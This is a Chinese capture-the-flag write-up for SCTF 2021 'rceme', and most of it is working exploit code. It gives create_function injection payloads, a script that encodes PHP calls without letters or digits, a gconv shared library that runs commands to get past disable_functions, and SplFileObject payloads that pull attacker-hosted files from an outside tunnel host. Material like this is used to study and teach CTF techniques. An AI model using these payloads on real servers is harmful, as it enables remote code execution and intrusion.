[SCTF 2021]rceme

文章目录

  • 前置知识
    • 可变参数绕过
    • create_function注入
    • 无字母数字RCE
    • 动态链接库so绕过disable_functions
    • 利用php原生类进行文件读取
  • 解题过程


前置知识

可变参数绕过

PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中,由 … 语法实现;在 PHP 5.5 及更早版本中,使用函数func_num_args(),func_get_arg(),和 func_get_args() 。

本地测试下,版本为7.3.4

<?php

function sum(...$a){
    $c = 0;
    foreach ($a as $n){
        $c = $c + $n;
    }
    return $c;
}

echo sum(1,12,13);

可以发现运行结果为26
在这里插入图片描述

create_function注入

create_function函数会在内部执行 eval函数

本地测试如下

<?php
$args='}system("whoami");//';
create_function('',$args);
?>

成功回显,当然这里可以结合可变参数,构造如下

$args=['','}system("whoami");//'];
create_function(...$args);

无字母数字RCE

这里用的是取反结合异或[!%FF]
脚本如下

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

比如构造call_user_func(...unserialize(end(getallheaders())));

[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

动态链接库so绕过disable_functions

创建payload.c
把读取的flag写到./tmp/1

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/1'");
  exit(0);
}

从目标文件生成动态链接库

gcc payload.c -o payload.so -shared -fPIC

利用点
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。

gconv-modules文件格式

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

所以本题对应的是

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

利用php原生类进行文件读取

SplFileObject是标准的文件操作类,用来进行文件读取

我们可以在服务器的根目录上启动服务,写入gconv-modulespayload.so文件,然后再利用原生类读取公网ip(也就是映射的服务器)的文件

a=$url="https://5i781963p2.yicp.fun:443/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url="https://5i781963p2.yicp.fun:443/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

再用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

最后高光读取即可

解题过程

源码如下

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

可以发现无字母数字RCE,同时是也是无参的,然后提示禁用的函数
这里我们可以fuzz测试下能用的

def find_missing_words(target_file_path, search_file_path):
    with open(target_file_path, 'r') as target_file:
        target_words = set(target_file.read().replace(',', '').split())

    with open(search_file_path, 'r') as search_file:
        search_words = set(search_file.read().replace(',', '').split())

    missing_words = target_words - search_words

    return missing_words

# 指定目标查找文件的路径
target_file_path = 'php函数字典.txt'

# 指定被查找文件的路径
search_file_path = 'search.txt'

# 调用函数查找未被找到的函数
missing_words = find_missing_words(target_file_path, search_file_path)

# 打印未被找到的单词
if missing_words:
    print("以下函数未被找到:")
    for word in missing_words:
        print(word)
else:
    print("所有函数都被找到了。")

其中search.txt即为提示的禁用函数
跑出来结果如下
在这里插入图片描述
那么我们可以构造call_user_func(...unserialize(end(getallheaders())));
exp如下

<?php
highlight_file(__FILE__);
$a=['','}eval($_POST["a"]);//'];
$str=serialize($a);
echo $str;

然后再利用前置知识给出的取反脚本,成功执行phpinfo()
在这里插入图片描述
然后就发现其他命令用不了,这时候就只能利用.so文件绕过
创建payload.so

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/1'");
  exit(0);
}

从目标文件生成动态链接库

gcc payload.c -o payload.so -shared -fPIC

然后再生成gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

然后在kali下的根目录下,开启服务器
(注意我公网映射的端口为8000)

python3 -m http.server 8000

把前面提到的两个文件mv到根目录下
在这里插入图片描述
然后利用原生类去分别读取两个文件

a=$url="https://5i781963p2.yicp.fun:443/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url="https://5i781963p2.yicp.fun:443/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

注意回显为200才是成功
在这里插入图片描述然后就是伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

然后高光读取,得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/174551.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

redis的过期策略以及定时器的实现

Redis是客户端服务器结构的程序&#xff0c;客户端与服务器通过网络通信&#xff0c;所以对于keys *这种的操作在大型企业中不太建议&#xff0c;生产环境下的key会非常多&#xff0c;Redis是但现成的服务器&#xff0c;执行keys*的时间非常长&#xff0c;就会导致redis服务器阻…

同为科技(TOWE)桌面PDU插排:一款可以DIY定制的“超级插座”

当今社会&#xff0c;各种电子产品和家用电器已成为人们日常生活中不可或缺的一部分&#xff0c;在带给人们便利的同时&#xff0c;也使得电力使用变得更加频繁和重要。然而&#xff0c;当前市面上很多普通插座由于功能单一、材质粗劣、插口数量受限、充电速度过慢、插头间互相…

子虔与罗克韦尔自动化合作 进博会签约自动化净零智造联创中心

11月6日进博会现场&#xff0c;漕河泾罗克韦尔自动化净零智造联创中心合作协议签约暨合作伙伴&#xff08;第一批&#xff09;授牌仪式举办&#xff0c;子虔科技作为联创中心合作伙伴签约&#xff0c;携手共建智能制造&#xff0c;引领行业可持续发展。 图示&#xff1a;子虔科…

QTableView表头Header增加复选框Checkbox

原文出处&#xff1a;Qt 之 QHeaderView 添加复选框_qtableview添加复选框-CSDN博客 这哥们只贴了部分代码&#xff0c;我还是把它弄好分享给大家吧 DTableHeaderView.h #ifndef DTABLEHEADERVIEW_H #define DTABLEHEADERVIEW_H#include <QHeaderView>class DTableHea…

高精度人像背景分割SDK技术解决方案

图像处理技术已经成为企业和个人生活中不可或缺的一部分&#xff0c;特别是在人像处理方面&#xff0c;如何准确、高效地将人物与背景分离&#xff0c;一直是一个技术难题。然而&#xff0c;美摄科技凭借其在AI深度学习领域的深厚积累&#xff0c;推出了一款高精度的人像背景分…

app抓包-突破【单向证书验证代理检测模拟器检测】

0x00 app的普通抓包配置 1.模拟器开启本地以太网代理&#xff0c;设置端口&#xff0c;bp监听以太网系统端口即可 2.科来协议分析&#xff0c;可以获取模拟器进程的网络通讯信息&#xff0c;目标通讯的ip地址 3.封包监听工具&#xff0c;同科来一致&#xff0c;监听的进程即可…

gitlab

Gitlab 安装git yum安装 [rootgit ~]# yum -y install git编译安装 Git官网 #安装依赖关系 [rootgit ~]# yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel autoconf gcc perl-ExtUtils-MakeMaker # 编译安装 [rootgit ~]# tar -zxf git-2.0…

[汇编实操]DOSBox工具: unable to open input file: 文件名.asm问题解决

出错原因1 &#xff1a;将文件放在debug文件下&#xff0c;mount后发现并没有该文件 解决方案 &#xff1a;重启DOSBox&#xff0c;重新mount&#xff0c;直到dir后可以看到该asm文件 出错原因2&#xff1a;DOS系统不支持8位以上的文件名 解决方案 &#xff1a;将文件名改为8…

智能座舱架构与芯片- (14) 测试篇 上

一、 验证平台概要 1.1 测试软件方法论 “软件定义汽车” 的时代&#xff0c;软件在整车制造中的重要性日渐凸显。但不同于其他行业的软件开发&#xff0c;汽车行业有自己独特的软件开发要求。首先是需求严谨、需求层次复杂、需要通过专业的工具进行管理&#xff1b;其次开发…

基恩士软件的基本操作(四,快速编辑plc技巧)

目录 单元软原件注释快速添加 双击单元配置&#xff0c;进入单元编辑器 KV一键添加注释 双击软元件注释 进入软元件编辑界面 &#xff0c;对弹出的列表中软元件打勾点击登录 元件注释就自动添加了 注释收索&#xff0c;快速编辑软元件 自定义注释收索 空软元件快速查找 …

8.2 Windows驱动开发:内核解锁与强删文件

在某些时候我们的系统中会出现一些无法被正常删除的文件&#xff0c;如果想要强制删除则需要在驱动层面对其进行解锁后才可删掉&#xff0c;而所谓的解锁其实就是释放掉文件描述符&#xff08;句柄表&#xff09;占用&#xff0c;文件解锁的核心原理是通过调用ObSetHandleAttri…

PDF文件无密码,如何解密?

PDF文件有两种密码&#xff0c;一个打开密码、一个限制编辑密码&#xff0c;因为PDF文件设置了密码&#xff0c;那么打开、编辑PDF文件就会受到限制。想要解密&#xff0c;我们需要输入正确的密码&#xff0c;但是有时候我们可能会出现忘记密码的情况&#xff0c;或者网上下载P…

人工智能:科技之光,生活之美

在科技飞速发展的今天&#xff0c;人工智能已经深入到我们的生活中&#xff0c;它如同一束璀璨的科技之光&#xff0c;照亮我们生活的每一个角落&#xff0c;使我们的生活更加美好。下面我将从人工智能的领域、应用以及对人工智能的看法三个方面来谈谈它对我们生活的影响。 一、…

c语言-qsort函数的使用-参数带函数指针

一、qsort函数-数组排序 qsort函数是c库里的数组排序函数。会将原始数组进行升序排列。 头文件&#xff1a; #include <stdlib.h> 函数原型&#xff1a; void qsort(void *base, size_t nmemb, size_t size,int (*compar)(const void *, const void *)); 参数&#xff1a…

MySQL数据库:开源且强大的关系型数据库管理系统

大家好&#xff0c;我是咕噜-凯撒&#xff0c;数据在当今信息化时代的重要性不可忽视。作为企业和组织的重要资产&#xff0c;数据的管理和存储变得至关重要&#xff0c;MySQL作为一种关系型数据库管理系统&#xff0c;具有非常多的优势&#xff0c;下面简单的探讨一下MySQL数据…

[补题记录] Coolbits(2019陕西省赛)

URL&#xff1a;https://pintia.cn/problem-sets/91827364500/exam/problems/91827370530 目录 Problem/题意 Thought/思路 Code/代码 Problem/题意 给出 N 个区间&#xff0c;可以从每个区间中选择一个数&#xff0c;问选出的 N 个数的按位与的值最大是多少&#xff1f; …

文心一言 VS 讯飞星火 VS chatgpt (140)-- 算法导论11.4 5题

五、用go语言&#xff0c;考虑一个装载因子为a的开放寻址散列表。找出一个非零的a值&#xff0c;使得一次不成功查找的探查期望数是一次成功查找的探查期望数的 2 倍。这两个探查期望数可以使用定理11.6 和定理 11.8 中给定的上界。 文心一言&#xff0c;代码正常运行&#xf…

树与二叉树堆:树

目录 树&#xff1a; 树的概念&#xff1a; 树的相关概念&#xff1a; 1、结点的度&#xff1a; 2、叶节点&#xff1a;度为0的节点 3、非终端节点或分支节点&#xff1a; 4、父节点和子节点&#xff1a; 5、兄弟节点&#xff1a; 6、树的度&#xff1a; 7、树的层次或…

代码随想录-刷题第二天

977. 有序数组的平方 题目链接&#xff1a;977. 有序数组的平方 思路&#xff1a;双指针思想&#xff0c;数组是有序的且含有负数&#xff0c;其中元素的平方一定是两边最大。定义两个指针&#xff0c;从两端开始向中间靠近&#xff0c;每次比较两个指针的元素平方大小&#…

Vue 项目实战——如何在页面中展示 PDF 文件以及 PDFObject 插件实战

文章目录 &#x1f4cb;前言&#x1f3af;使用 HTML 标签&#x1f9e9; embed 标签&#x1f9e9; object标签&#x1f9e9; iframe标签&#x1f9e9;完整代码 &#x1f3af;使用 PDFObject 插件&#x1f9e9;为什么使用 PDFObject 插件&#xff08;AI翻译&#xff09;&#x1f…
最新文章